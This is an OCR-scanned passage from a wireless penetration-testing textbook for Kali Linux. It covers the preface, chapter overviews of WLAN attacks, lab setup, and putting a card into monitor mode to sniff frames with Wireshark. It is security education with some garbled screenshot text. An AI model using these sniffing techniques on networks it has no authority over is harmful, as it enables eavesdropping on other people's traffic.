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Wireless Networks have become ubiquitous in today's world. Millions of people use it 
worldwide every day at their homes, offices and public hotspots to logon to the Internet 
and do both personal and professional work. Even though wireless makes life incredibly 
easy and gives us such great mobility, it comes with risks. In recent times, insecure wireless 
networks have been used to break into companies, banks and government organizations. 
The frequency of these attacks is only intensified, as network administrators are still 
clueless when it comes to securing wireless networks in a robust and fool proof way. 





Kali Linux Wireless Penetration Testing Beginner's Guide is aimed at helping the reader 
understand the insecurities associated with wireless networks, and how to conduct 
penetration tests to find and plug them. This is an essential read for those who would like 
to conduct security audits on wireless networks and always wanted a step-by-step practical. 
As every wireless attack explained in this book is immediately followed by a practical demo, 
the learning is very complete. 


We have chosen Kali Linux as the platform to test all the wireless attacks in this book. 
Backtrack, as most of you may already be aware, is the world's most popular penetration 
testing distribution. It contains hundreds of security and hacking tools, some of which we 
will use in this course of this book. 


Chapter 1, Wireless Lab Setup: There are dozens of exercises we will be doing in this book. 

In order to be able to try them out, the reader will need to setup a wireless lab. This chapter 
focuses on how to create a wireless testing lab using off-the-shelf hardware and open source 
software. We will first look at hardware requirements, which include wireless cards, antennas, 
access points and other Wi-Fi enabled devices, then we will shift our focus to the software 
requirements which include the operating system, Wi-Fi drivers and security tools. Finally, we 
will create a test bed for our experiments and verify different wireless configurations on it. 
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Chapter 2, WLAN and its Inherent Insecurities: This chapter focuses on inherent design flaws in 
wireless networks, that make insecure out-of-the-box. We will begin with a quick recap of the 
802.11 WLAN protocols using a network analyzer called Wireshark. This will give us a practical 
understanding about how these protocols work. Most importantly, we will see how client and 
access point communication works at the packer level by analyzing Management, Control and 
Data frames. We will then learn about packet injection and packer sniffing in wireless networks, 
and look at some tools which enable us to do the same. 


Chapter 3, Bypassing WLAN Authentication: Now we get into how to break WLAN 
authentication mechanism! We will go step by step and explore how to subvert Open and 
Shared Key authentications. In the course of this, you will learn how to analyse wireless 
packets and figure out the authentication mechanism of the network. We will also look 

at how to break into networks with Hidden SSID and MAC Filtering enabled. These are 

two common mechanisms employed by network administrators to make wireless networks 
more stealthy and difficult to penetrate; however, these are extremely simple to bypass. 


Chapter 4, WLAN Encryption Flaws: One of the most vulnerable parts of the WLAN protocol 
is the Encryption schemas — WEP, WPA and WPA2. Over the past decade hackers have found 
multiple flaws in these schemas and have written publically available software to break them 
and decrypt the data. Also, even though WPA/WPA2 is secure by design, misconfiguring 
those opens up security vulnerabilities, that can be easily exploited. In this chapter, we will 
understand the insecurities in each of these encryption schemas and do practical demos on 
how to break them. 


Chapter 5, Attacks on the WLAN Infrastructure: We will now shift our focus to WLAN 
Infrastructure vulnerabilities. We will look at vulnerabilities created due to both configuration 
and design problem. We will do practical demos of attacks such as access point MAC spoofing, 
bit flipping and replay attacks, rogue access points, fuzzing and denial of services. This chapter 
will give the reader a solid understanding of how to do a penetration test of the WLAN 
infrastructure. 


Chapter 6, Attacking the Client: This chapter might open your eyes if you always believed 
that wireless client security was something you did not have to worry about! Most people 
exclude the client from their list when they think about WLAN security. This chapter will 
prove beyond doubt why the client is just as important as the access point when penetration 
testing a WLAN network. We will look at how to compromise the security using client side 
attacks such as Miss-Association, Caffe Latte, disassociation, ad-hoc connections, fuzzing, 
honeypots and a host of others. 
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Chapter 7, Advanced WLAN Attacks: Now that we have already covered most of the basic 
attacks on both the infrastructure and the client, we will look at more advanced attacks in 
this chapter. These attacks typically involve using multiple basic attacks in conjunction to 
break security in more challenging scenarios. Some of the attacks which we will learn include 
wireless device fingerprinting, man-in-the-middle over wireless, evading wireless intrusion 
detection and prevention systems, rogue access points operating using custom protocol and 
a couple of others. This chapter presents the absolute bleeding edge in wireless attacks out 
in the real world. 


Chapter 8, Attacking WPA-Enterprise and RADIUS: This chapter graduates the user to 

the next level by introducing him to advanced attacks on WPA-Enterprise and the RADIUS 
server setup. These attacks will come in handy when the reader has to penetration test large 
enterprise networks which rely on WPA-Enterprise and RADIUS authentication to provide 
them with security. This is probably as advanced as Wi-Fi attacks can get in the real world. 


Chapter 9, WLAN Penetrating Testing Methodology: This is where all the learning from the 
previous chapters comes together, and we will look at how to do a wireless penetration test 
in a systematic and methodical way. We will learn about the various phases of penetration 
testing—Planning, Discovery, Attack and Reporting, and apply it to wireless penetration 
testing. We will also understand how to propose recommendations and best practices after 
a wireless penetration test. 


Chapter 10, WPS and Probes: This chapter covers the two new attacks in the industry 
that have developed since the initial publication of this book—WPS brute-force and 
probe sniffing for monitoring. 


What you need for this book 


To follow and recreate the practical exercises in this book you will need two laptops with 
built in Wi-Fi cards, a USB wireless Wi-Fi adapter, Kali Linux and some other hardware and 
software. We have detailed this in Chapter 1, Wireless Lab Setup. 


As an alternate to the two laptops, you could also create a Virtual Machine housing Kali 
Linux and connect the card to it over the USB interface. This will help you get started with 
using this book much faster, but we would recommend a dedicated machine running Kali 
Linux for actual assessments in the field. 


From a prerequisite perspective, readers should be aware of the basics of wireless 
networks. This includes having prior knowledge about the basics of the 802.11 protocol 
and client-access point communication. Though we will briefly touch upon some of this 
when we setup the lab, it is expected that the user is already aware of these concepts. 


[ vii ] 


Preface 


Though this book is a Beginner's series, it is meant for all levels of users, from amateurs right 
through to wireless security experts. There is something for everyone. The book starts with 
simple attacks but then moves on to explain the more complicated ones, and finally discusses 
bleeding edge attacks and research. As all attacks are explained using practical demonstrations, 
it is very easy for readers at all levels to quickly try the attack out by themselves. Please note 
that even though the book highlights the different attacks, which can be launched against a 
wireless network, the real purpose is to educate the user to become a wireless penetration 
tester. An adept penetration tester would understand all the attacks out there and would be 
able to demonstrate them with ease, if requested by his client. 


In this book, you will find a number of styles of text that distinguish between different kinds of 
information. Here are some examples of these styles, and an explanation of their meaning. 


Code words in text, database table names, folder names, filenames, file extensions, 
pathnames, dummy URLs, user input, and Twitter handles are shown as follows: "Open 
a console terminal and type in iwconfig." 


Any command-line input or output is written as follows: 


airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write WEPCrackingDemo 
mon0 


New terms and important words are shown in bold. Words that you see on the screen, in 
menus or dialog boxes for example, appear in the text like this: "Boot the laptop with this 
DVD and select the option Install from the Boot menu." 


| Warnings or important notes appear in a box like this. | 


| Qh Tips and tricks appear like this. | 


Feedback from our readers is always welcome. Let us know what you think about this 
book—what you liked or may have disliked. Reader feedback is important for us to 
develop titles that you really get the most out of. 
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To send us general feedback, simply send an e-mail to feedback@packtpub.com, and 
mention the book title via the subject of your message. 


If there is a topic that you have expertise in and you are interested in either writing or 
contributing to a book, see our author guide on www. packtpub.com/authors. 


Now that you are the proud owner of a Packt book, we have a number of things to help 
you to get the most from your purchase. 


Although we have taken every care to ensure the accuracy of our content, mistakes do 
happen. If you find a mistake in one of our books—maybe a mistake in the text or the 
code—we would be grateful if you would report this to us. By doing so, you can save other 
readers from frustration and help us improve subsequent versions of this book. If you find 
any errata, please report them by visiting http: //www.packtpub.com/submit-errata, 
selecting your book, clicking on the errata submission form link, and entering the details of 
your errata. Once your errata are verified, your submission will be accepted and the errata 
will be uploaded on our website, or added to any list of existing errata, under the Errata 
section of that title. Any existing errata can be viewed by selecting your title from 

http: //www.packtpub.com/support. 


Piracy 


Piracy of copyright material on the Internet is an ongoing problem across all media. At 
Packt, we take the protection of our copyright and licenses very seriously. If you come 
across any illegal copies of our works, in any form, on the Internet, please provide us 
with the location address or website name immediately so that we can pursue a remedy. 


Please contact us at copyright @packtpub.com with a link to the suspected 
pirated material. 


We appreciate your help in protecting our authors, and our ability to bring you 
valuable content. 


You can contact us at quest ions@packt pub. com if you are having a problem with any 
aspect of the book, and we will do our best to address it. 
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Wireless Lab Setup 





"If |had eight hours to chop down a tree, I'd spend six hours sharpening 
my axe." 


Abraham Lincoln, 16th US President 





Behind every successful execution is hours or days of preparation, and wireless 
penetration testing is no exception. In this chapter, we will create a wireless 
lab that we will use for our experiments in this book. Consider this lab as your 
preparation arena before you dive into real-world penetration testing! 


Wireless penetration testing is a practical subject, and it is important to first set 
up a lab where we can try out all the different experiments in this book in a safe 
and controlled environment. It is important that you set up this lab first before 
moving on in this book. 





In this chapter, we will take a look at the following: 


Hardware and software requirements 
Installing Kali 
Setting up an access point and configuring it 


Installing the wireless card 


¢ ¢ ¢—6UOm™lCUM 


Testing connectivity between the laptop and the access point 


So let the games begin! 
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Wireless Lab Setup 


We will need the following hardware to set up the wireless lab: 


® 


Two laptops with internal Wi-Fi cards: We will use one of the laptops as the 

victim in our lab and the other as the penetration tester's laptop. Though almost 
any laptop would fit this profile, laptops with at least 3 GB RAM are desirable. This is 
because we may be running a lot of memory-intensive software in our experiments. 


One wireless adapter (optional): Depending on the wireless card of your laptop, 

we may need a USB Wi-Fi card that can support packet injection and packet sniffing, 
which is supported by Kali. The best choice seems to be the Alfa AWUSO36H card 
from Alfa Networks, as Kali supports this out-of-the-box. This is available on 
www.amazon.com for a retail price of £18 at the time of writing. An alternative 
option is the Edimax EW-7711UAN, which is smaller and, marginally, cheaper. 


One access point: Any access point that supports WEP/WPA/WPA2 encryption 
standards would fit the bill. | will be using a TP-LINK TL-WR841N Wireless router 
for the purpose of illustration in this book. You can purchase it from Amazon.com 
for a retail price of around £20 at the time of writing. 


An Internet connection: This will come in handy for performing research, 
downloading software, and for some of our experiments. 


Software requirements 


We will need the following software to set up the wireless lab: 


¢ 


Kali: This software can be downloaded from the official website located at 
http://www.kali.org. The software is open source, and you should be 
able to download it directly from the website. 


Windows XP/Vista/7: You will need any one of Windows XP, Windows Vista, 
or Windows 7 installed on one of the laptops. This laptop will be used as the 
victim machine for the rest of the book. 


It is important to note that, even though we are using a Windows-based 


OS for our tests, the techniques learnt can be applied to any Wi-Fi-capable 


devices such as smart phones and tablets, among others. 
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Chapter 1 


Let's now quickly take a look at how to get up-and-running with Kali. 


Kali will be installed on the laptop that will serve as the penetration tester's machine 
for the rest of the book. 


Time for action — installing Kali 


Kali is relatively simple to install. We will run Kali by booting it as a Live DVD and then install 
it on the hard drive. 





Perform the following instructions step by step: 
Burn the Kali ISO (we are using the Kali 32-bit ISO) you downloaded onto a bootable DVD. 


1. Boot the laptop with this DVD and select the option Install from the Boot menu: 


PAPAELE LIC) 


Boot menu 


Live (686-pae) 


Live (686-pae failsafe) 
Live (forensic mode) 


Live USB Persistence (check kali.org“prst) 
Live USB Encrypted Persistence (check kali.org“prst) 
ikatie e 


Press ENTER to boot or TAB to edit a menu entry 





Wireless Lab Setup 


2.  \f booting was successful, then you should see an awesome retro screen as follows: 


<Tab> moves; <Space> selects; <Enter> activates buttons 





3. This installer is similar to the GUI-based installers of most Linux systems and 
should be simple to follow. Select the appropriate options in every screen and 
start the installation process. Once the installation is done, restart the machine 
as prompted and remove the DVD. 


4, Once the machine restarts, a login screen will be displayed. Type in the login as 
root and the password as whatever you set it to during the installation process. 
You should now be logged into your installed version of Kali. Congratulations! 


| will change the desktop theme and some settings for this book. Feel free to 
use your own themes and color settings! 
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What just happened? 


We have successfully installed Kali on the laptop! We will use this laptop as the penetration 
tester's laptop for all other experiments in this book. 


We can also install Kali within virtualization software such as VirtualBox. If you don't 
want to dedicate a full laptop to Kali, this is the best option. Kali's installation process 
in VirtualBox is exactly the same. The only difference is the pre-setup, which you will 
have to create in VirtualBox. Have a go at it! You can download VirtualBox from 
http: //www.virtualbox.org. 


One of the other ways in which we can install and use Kali is via USB drives. This is 
particularly useful if you do not want to install on the hard drive but still want to store 
persistent data on your Kali instance, such as scripts and new tools. We encourage 
you to try this out as well! 


Now we will set up the access point. As mentioned earlier, we will be using the TP-LINK 
TL-WR841N Wireless Router for all the experiments in this book. However, feel free to 
use any other access point. The basic principles of operation and usage remain the same. 


Time for action — configuring the access point 





Let's begin! We will set the access point up to use Open Authentication with an SSID of 
Wireless Lab. 


Follow these instructions step by step: 


1. Power onthe access point and use an Ethernet cable to connect your laptop to 
one of the access point's Ethernet ports. 


Wireless Lab Setup 


2. Enter the IP address of the access point configuration terminal in your browser. For 
the TP-Link, it is by default 192 .168.1.1. You should consult your access point's 
setup guide to find its IP address. If you do not have the manuals for the access 
point, you can also find the IP address by running the route -n command. The 
gateway IP address is typically the access point's IP. Once you are connected, you 
should see a configuration portal that looks like this: 


Authentication Required 


The server http://192.168.1.1:80 requires a username and 
password. The server says: TP-LINK Wireless N Router 
WRS41N. 


User Name: 


Password: 


Log In Cancel 





3. Explore the various settings in the portal after logging in and find the settings 
related to configuring a new SSID. 


4. Change the SSID to Wireless Lab. Depending on the access point, you may 
have to reboot it for the settings to change: 


TP-LINK 


Status 


Quick Setup Wireless Security 
WPS 
Network . 2 

*® Disable Security 
Wireless 


- Wireless Settings 
WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WPA2-PSK ’ 


- Wireless Advanced Encryption: AES 
- Wireless Statistics Wireless Password: 88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters 
between 8 and 64.) 


Forwarding Group Key Update Period: 0 Seconds 


v 


DHCP 


=e (Keep it default if you are not sure, minimum is 30, 0 means no update) 
Parental Control 


WPA/WPA2 - Enterprise 


Version: Automatic 


Access Control 


Advanced Routing 
Bandwidth Control Encryption: Automatic 


IP & MAC Binding Radius Server IP: 


Dynamic DNS Radius Port: 1812 (1-65535, 0 stands for default port 1812) 


System Tools Radius Password: 
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5. Similarly, find the settings related to Wireless Security and change the setting to 
Disable Security. Disable Security indicates that it is using Open Authentication mode. 


6. Save the changes to the access point and reboot it if required. Now your access 
point should be up-and-running with an SSID Wireless Lab. 


An easy way to verify this is to use the Wireless Configuration utility on Windows and 
observe the available networks using the Windows laptop. You should find Wireless Lab 


as one of the networks in the listing: 


ale | 
Wry Tk} Connect to a network 


Disconnect or connect to another network 


Show |All 7 


A. Wireless Lab Unsecured network 
<3. 
ma: janet Security-enabled network 


; Unnamed Network Unsecured network 
«at 


Set up a connection or network 
Open Network and Sharing Center 


What just happened? 





Disconnect | Cancel 


We have successfully setup our access point with an SSID Wireless Lab. It is broadcasting 
its presence and this is being picked up by our Windows laptop and others within the 


Radio Frequency (RF) range of the access point. 


It is important to note that we configured our access point in Open mode, which is the 
least secure. It is advisable not to connect this access point to the Internet for the time 
being, as anyone within the RF range will be able to use it to access the Internet. 
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Play around with the configuration options of your access point. Try to get it up-and-running 
using encryption schemes such as WEP and WPA/WPA2. We will use these modes in later 
chapters to illustrate attacks against them. 


Setting up our wireless adapter is much easier than the access point. The advantage is that 
Kali supports this card out-of-the-box and ships with all requisite device drivers to enable 
packet injection and packet sniffing. 


Time for action — configuring your wireless card 


We will be using the wireless adapter with the penetration tester's laptop. 





Please follow these instructions step-by-step to set up your card: 


1. Plugin the card to one of the Kali laptop's USB ports and boot it. 


Once you log in, open a console terminal and type in iwconfig. Your screen 
should look as follows: 


root@wireless-example: ~ 


View Search Terminal Help 

:~# iwconfig 
IEEE 802.11bgn ESSID:off/any 
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm 
Retry short Limit:7 RTS thr:off Fragment thr:off 
Encryption key:off 
Power Management :off 


no wireless extensions. 


no wireless extensions. 





As you can see, wlan0 is the wireless interface created for the wireless adapter. 
Type in ifconfig wlano to bring the interface up. Then, type in ifconfig 
wlano to see the current state of the interface: 


:~# ifconfig wland 
Link encap:Ethernet HWaddr 80:1f:02:8f:34:d5 
UP BROADCAST MULTICAST MTU:1500 Metric:1 
RX packets:0 errors:0 dropped:0 overruns:0 frame:0 


TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
collisions:0 txqueuelen:; 1000 
RX bytes:0 (0.0 B) TXK\bytess0 (0.0 B) 
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2. The MAC address 00:c0:ca:3e:bd:93 should match the MAC address written 
under your Alfa card. | am using the Edimax that gives me the preceding MAC 
address 80:1£:02:8£:34:d5. This is a quick check to ensure that you have 
enabled the correct interface. 


What just happened? 


Kali ships with all the required drivers for the Alfa and Edimax adapters out of the box. As 
soon as the machine booted, the adapter was recognized and was assigned the network 
interface wlanO. Now our wireless adapter is up and functional! 


Now we will take a look at how to connect to the access point using the wireless adapter. 
Our access point has an SSID Wireless Lab and does not use any authentication. 


Time for action — configuring your wireless card 





Here we go! Follow these steps to connect your wireless card to the access point: 


1. Let's first see what wireless networks our adapter is currently detecting. Issue 
the command iwlist wlanOo scanning and you will find a list of networks in 
your vicinity: 


:~# iwlist wlan@ scanning 
Scan completed : 
Cell 01 - Address: 9C:D3:6D:2A:/7B:CO 
Channel :11 
Frequency:2.462 GHz (Channel 11) 
Quality=22/70 Signal Level=-88 dBm 
Encryption key:on 
ESSID: "everythingwillprobabl ynotbeokay" 
Sh nth -\— oe | a | OAs eo I || 0 An | oo | OA 
° | oe Oa | | Oa a | Oa 
Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s 
Mode :Master 
=> am ae B 01010100 Pee leleleleleleisie 
Extra: Last beacon: 11/2ms ago 
IE: Unknown: 001F65766572797468696E6/7/696C6C/0/726F6261626C7 
S]e)] mie] eA leP4elele] mie)= iol Was) 


: Unknown: \OT0882848B960C121824 

: Unknown: @3010B 

: Unknown: 0706474220010D14 

: Unknown: 2A0104 

: Unknown: 32043048606C 

Ola) ,dale) aa Pay 1PICH MN] of ol ol el CICLCIClClololololololololelelelolololololololelelclelolololer- to) 
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Keep scrolling down and you should find the Wireless Lab network in this list. 
In my setup, it is detected as Cell 05; it may be different in yours. The ESSID 
field contains the network name. 


As multiple access points can have the same SSID, verify that the MAC address 
mentioned in the preceding Address field matches your access point's MAC. 

A fast and easy way to get the MAC address is underneath the access point or 

using web-based GUI settings. 


Now, issue the iwconfig wlanO essid "Wireless Lab" command and then 
iwconfig wlano to check the status. If you have successfully connected to the 
access point, you should see the MAC address of the access point in the Access 
Point: field in the output of iwconfig. 


We know that the access point has a management interface IP address 192.168.0.1 
from its manual. Alternately, this is the same as the default router IP address when we 
run the route -—n command. Let's set our IP address in the same subnet by issuing 
the ifconfig wlanO 192.168.0.2 netmask 255.255.255.0 up command. 
Verify the command succeeded by typing ifconfig wlano and checking the output. 


Now let's ping the access point by issuing the ping 192.168.0.1 command. If the 
network connection has been set up properly, then you should see the responses from 
the access point. You can additionally issue an arp -—a command to verify that the 
response is coming from the access point. You should see that the MAC address of the 
IP 192.168.0.1 is the access point's MAC address we noted earlier. It is important 

to note that some of the more recent access points might have responses to Internet 
Control Message Protocol (ICMP) echo request packets disabled. This is typically 

done to make the access point secure out-of-the-box with only minimal configuration 
settings available. In such a case, you can try to launch a browser and access the 

web interface to verify that the connection is up-and-running: 


i~# ping 192.168.0.1 
PING 192.168.@.1 (192.168.0.1) 56(84) bytes of data. 
64 bytes from 192.168.0.1: icmp reg=l ttl=128 time=5.02 
64 bytes from 192.168.0.1: icmp, reg=2 ttl=126 time=1.48 
64 bytes from 192.168.0.1: icmp req=3 ttl=128 time=1.4/ 


ar 


--- 1927.168.0.1 ping statistics --- 
3 packets transmitted, 3 received, 0% packet Loss, time 2003ms 
rtt min/avg/max/mdev = 1.4/9/2.660/5.021/1.6/0 ms 
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On the access point, we can verify connectivity by looking at the connection 
logs. As you can see in the following log, the MAC address of the wireless card 
4C:0F:6E:70:BD:CB has been logged making DHCP requests from the router: 


Network 
Wireless 
DHCP 


System Log 


Forwarding 


Security 
Log T : Log Level: 
See Ee og Type: DHCP v og ALL 


Access Control Type | Level Log Content 


Advanced Routing Dec 27 05:59:27 INFO |DHCPS:Recv INFORM from 4C:0F:6E:70:BD:CB 
Bandwidth Control DHCPS:Recy INFORM from 4C:0F:6E:70:BD:CB 
IP & MAC Binding DHCPS:Recv INFORM from 4C:0F:6E:70:BD:CB 
Dynamic DNS DHCPS:Send ACK to 192.168.1.100 

System Tools DHCPS:Recv REQUEST from 4C:0F:6E:70:BD:CB 
Time Settings Dec 27 05:56:07|DHCP|INFO__|DHCPS:Send OFFER with ip 192.168.1.100 


Auto Mail Feature: Disabled Mail Settings 





What just happened? 


We just connected to our access point successfully from Kali using our wireless adapter as 
the wireless device. We also learnt how to verify that a connection has been established at 
both the wireless client and the access point side. 


Have a go hero — establishing a connection in a WEP configuration 





Here is a challenging exercise for you—set up the access point in a WEP configuration. For 
each of these, try establishing a connection with the access point using the wireless adapter. 
Hint: check the manual for the iwconfig command by typing man iwconfig to see how to 
configure the card to connect to WEP. 





Pop quiz — understanding the basics 


Q1. After issuing the command ifconfig wlano, how do you verify the wireless card 
is up and functional? 


Q2. Can we run all our experiments using the Kali live CD alone? Can we not install the CD 
to the hard drive? 


Q3. What does the command arp -a show? 


Q4. Which tool should we use in Kali to connect to WPA/WPA2 networks? 
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Summary 


This chapter provided you with detailed instructions on how to set up your own wireless 
lab. Also, in the process, you learned the basic steps for: 


@ Installing Kali on your hard drive and exploring other options such as Virtual 
Machines and USBs 
Configuring your access point over the web interface 


Understanding and using several commands to configure and use your 
wireless card 


@ Verifying the connection state between the wireless client and the 
access point 


It is important that you gain confidence in configuring the system. If you aren't confident, 
it is advisable that you repeat the preceding examples a couple of times. In later chapters, 
we will design more complicated scenarios. 


In the next chapter, we will learn about inherent design-based insecurities in WLANs 
design. We will use the network analyzer tool, Wireshark, to understand these concepts 
in a practical way. 
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WLAN and its Inherent insecurities 


"The loftier the building, the deeper the foundation must be laid." 


Thomas Kempis 





Nothing great can be built on a weak foundation, and in our context, nothing 
secure can be built on something that is inherently insecure. 


WLANs, by design, have certain insecurities that are relatively easy to exploit, 
for example, by packet spoofing, packet injection, and sniffing (this could even 
happen from far away). We will explore these flaws in this chapter. 





In this chapter, we shall look at the following: 


Revisiting WLAN frames 
Different frame types and subtypes 
Using Wireshark to sniff management, control, and data frames 


Sniffing data packets for a given wireless network 


¢ ¢ ¢—6U OCF 


Injecting packets into a given wireless network 


Let's get started! 
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Revisiting WLAN frames 


As this book deals with the security aspects of wireless, we will assume that you already 
have a basic understanding of the protocol and the packet headers. If not, or if it's been 
some time since you worked on wireless, this would be a good time to revisit this topic again. 


Let's now quickly review some basic concepts of WLANs that most of you may already 
be aware of. In WLANs, communication happens over frames. A frame would have the 
following header structure: 


Frame Duration/ Address Address Address Sequence Address QoS 
elslage) ID 1 2 3 ela age) | 4 '@eyal age) | 


ee ¢— <&—— €——:' ¢—:s €—: = €—? €— > ">> 


Bytes 2 2 6 6 6 2 6 2 0 to 4 
2312 





The Frame Control field itself has a more complex structure: 


Frame Duration/ Address Address Address Sequence Address QoS Frame 
Control 13) 1 2 3 ee) alace) 4 el alage)| Body 


ge}kelae) More Data Protected 
Frame 
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The Type field defines three types of WLAN frame: 


1. Management frames: Management frames are responsible for maintaining 
communication between access points and wireless clients. Management frames 
can have the following subtypes: 


a Authentication 
a Deauthentication 
a Association request 
o Association response 
o  Reassociation request 
o  Reassociation response 
a  Disassociation 
Oo Beacon 
a Probe request 
a Probe response 
2. Control frames: Control frames are responsible for ensuring a proper exchange 


of data between access points and wireless clients. Control frames can have the 
following subtypes: 


a Request to Send (RTS) 
a Clear to Send (CTS) 
a Acknowledgement (ACK) 


3. Data frames: Data frames carry the actual data that is sent on the wireless network. 
There are no subtypes for data frames. 


We will discuss the security implications of each of these frames when we discuss different 
attacks in later chapters. 


We will now look at how to sniff these frames over a wireless network using Wireshark. 
There are other tools—such as Airodump-NG, Tcpdump, or Tshark—that you can use for 
sniffing as well. We will, however, mostly use Wireshark in this book, but we encourage you 
to explore other tools as well. The first step to do this is to create a monitor mode interface. 
This will create an interface for our adapter, which allows us to read all wireless frames 

in the air, regardless of whether they are destined for us or not. In the wired world, this is 
popularly called promiscous mode. 
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Time for action — creating a monitor mode interface 





Let's now set our wireless adapter into monitor mode. 
Follow these instructions to get started: 


1. Boot Kali with your adapter connected. Once you are within the console, enter 
iwconfig to confirm that your card has been detected and the driver has been 
loaded properly. 


root@kali: ~ 


File Edit View Search Terminal Help 
:~# iwconfig 
no wireless extensions. 


no wireless extensions. 


IEEE 802.11bgn ESSID:off/any 

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm 
Retry Long Limit:/ RTS thr:off Fragment thr:off 
Encryption key:off 

Power Management :on 


:~f#f 





2. Usethe ifconfig wlanl up command to bring the card up (where wlanl 
is your adapter). Verify whether the card is up by running ifconfig wlanl. 
You should see the word UP in the second line of the output as shown in the 
following screenshot: 
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root@kali: ~ 


File Edit View Search Terminal Help 
-~# ifconfig wlanl up 
_~H 
_~f 
_~# 
-~# ifconfig wlanl 
Link encap:Ethernet HWaddr 80:1f:02:8f:34:d5 
UP BROADCAST MULTICAST MTU:1500 Metric:1 
RX packets:0 errors:0 dropped:@ overruns:0 Tframe:0 
TX packets:@ errors:0 dropped:@ overruns:0 carrier:@ 
collisions:0 txqueuelen:1600 
RX bytes:@ (0.0 B) TX bytes:0@ (0.0 B) 


= mf 





3. To put our card into monitor mode, we will use the airmon-ng utility that 
is available by default on Kali. First run airmon-ng command to verify whether it 
detects the available cards. You should see the wlano interface listed in the output: 


root@kali: ~ 
File Edit View Search Terminal Help 


:~# airmon-ng 


Interface Chipset Driver 


wlanl Ralink RT2870/3070 rt2800usb - [phy@] 
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4. Nowenter airmon-ng start wlanl command to create a monitor mode 
interface corresponding to the wlano device. This new monitor mode interface 
will be named mono. (You can verify if it has been created by running airmon-ng 
without arguments again). 


root@kali: ~ 


File Edit View Search Terminal Help 
:~# airmon-ng start wlanl 


Found 3 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 


Name 
NetworkManager 
dhclient 

wpa supplicant 


Interface Chipset Driver 


wlanl Ralink RI28/70/3070 rt2800usb - [phy0] 
Gilelan mae) omni lele(-mm-lal-|elG-lemmelammilelalcn 


:~# airmon-ng 


Interface Chipset Driver 


Ralink RT2870/3070 rt2800usb - [phy0] 
Ralink RT2870/3070 rt2800usb - [phy0] 





5. Also, running ifconfig mono should now display a new interface called mono. 


root@kali: ~ 


File Edit View Search Terminal Help 
-~# ifconfig mont 
Link encap:UNSPEC HWaddr 8@-1F-02-8F-34-D5-00-00-00-00-600-00-60-00-06 


UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 

RX packets:1352 errors:@ dropped:1385 overruns:@ frame:0 
TX packets:@ errors:0 dropped:@ overruns:@ carrier:@ 
collisions:@ txqueuelen:1000 

RX bytes:172082? (168.0 KiB) TX bytes:0 (0.0 B) 





What just happened? 


We have successfully created a monitor mode interface called mono. This interface will be used 
to sniff wireless packets off the air. This interface has been created for our wireless adapter. 
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Have a go hero — creating multiple monitor mode interfaces 


It is possible to create multiple monitor mode interfaces using the same physical card. Use 
the airmon-ng utility to see how you can do this. 


Awesome! We have a monitor mode interface just waiting to read some packets off the air. 
So let's get started. 


In the next exercise, we will use Wireshark to sniff packets off the air using the monO 
monitor mode interface we just created. 


Time for action — sniffing wireless packets 





Follow the following instructions to begin sniffing packets: 


1. Power up the Access Point Wireless Lab that we configured in Chapter 1, Wireless 
Lab Setup. 


2. Start Wireshark by typing Wireshark & in the console. Once Wireshark is running, 
navigate to Capture | Interfaces. 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


El te ey = =] | 


Filter: | Expression... 


Wireshark: Capture Interfaces 


Device Description IP Packets Packets/s 
etho 192.168.200.128 
S86 mond 
nflog Linux netfilter Log (NFLOG) interface 
* whlanl 


any  Pseudo-device that captures on all interfaces 

















12/7.0.0.1 


Options | Close | 


=" 
A richassortment of example capture files onthe wi 


© Ready to load or capture No Packets Profile: Default 
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3. Select packet capture from the mono interface by clicking on the Start button to 
the right of the mono interface as shown in the previous screenshot. Wireshark will 
begin the capture, and now you should see packets within the Wireshark window. 


Capturing from monO [Wireshark 1.8.5 ] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Qi @ 


Filter: | | Expression... 
| p 


No, Time Source Destination Protocol Length 


.012601000 D-Link _62:6d: Broadcast s0O2.11 142 
.114881000 D-Link _62:6d: Broadcast s02.11 142 
.217780000 D-Link _62:6d: Broadcast 802.11 142 
319875000 D-Link _62:6d: Broadcast 802.11 142 
.423660000 D-Link _62:6d: Broadcast 802.11 142 
524681000 D-Link _62:6d: Broadcast g02.11 142 
627225000 D-Link _62:6d: Broadcast 802.11 142 
729613000 D-Link _62:6d: Broadcast 802.11 142 
.832144000 D-Link_62: 6d: Broadcast 802.11 142 
1.934426000 D-Link_62:6d: Broadcast 802.11 142 
10. 036888000 D-Link_62: 4d: Broadcast 802.11 142 
10.139389000 D-Link_62: 4d: Broadcast 802.11 142 
10.241765000 D-Link_62: 4d: Broadcast 802.11 142 
> Frame 1: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 
> Radiotap Header vO, Length 18 
> IEEE 802.11 Beacon frame, Flags: 
> IEEE 802.11 wireless LAN management frame 


9 
9 
9 
9 
9 
= 
9 
9 
9 
9 





4, These are wireless packets that your wireless adapter is sniffing off the air. 
In order to view any packet, select it in the top window and the entire packet 
will be displayed in the middle window. 
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Capturing from monO [Wireshark 1.8.5 ] 


| File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


ei a 


Filter: 


Na. Time Source 


1450 147.600092006 D-Link_62:6d:08 
1451 147. 702523006 D-Link_62:6d:08 
1452 147. 80484900¢ D-Link 62:6d:08 
1453 147.90792900¢ D-Link 62:6d:08 


Destination 
Broadcast 
Broadcast 
Broadcast 
Broadcast 


73 EG 


Expression... 


Protocol Length Info 
802.11 142 Beaco 
802.11 142 Beaco 
802.11] 42 Beaco 
807.11 142 Beaco\|~ 


a >) 


b Frame 1452: 142 bytes on wire (1136 bits), 142 bytes captured (1136 bits) on interface 0|[* 


'> Radiotap Header vO, Length 18 
> IEEE 802.11 Beacon frame, Flags: 


v IEEE 802.11 wireless LAN management frame 


> Fixed parameters (12 bytes) 
¥ Tagged parameters (88 bytes) 


¥ Tag: SSID parameter set: Upstairs 
Tag Number: SSID parameter set (0) 


—_ 





Moca elite “flea Eee, 
Upstairs 
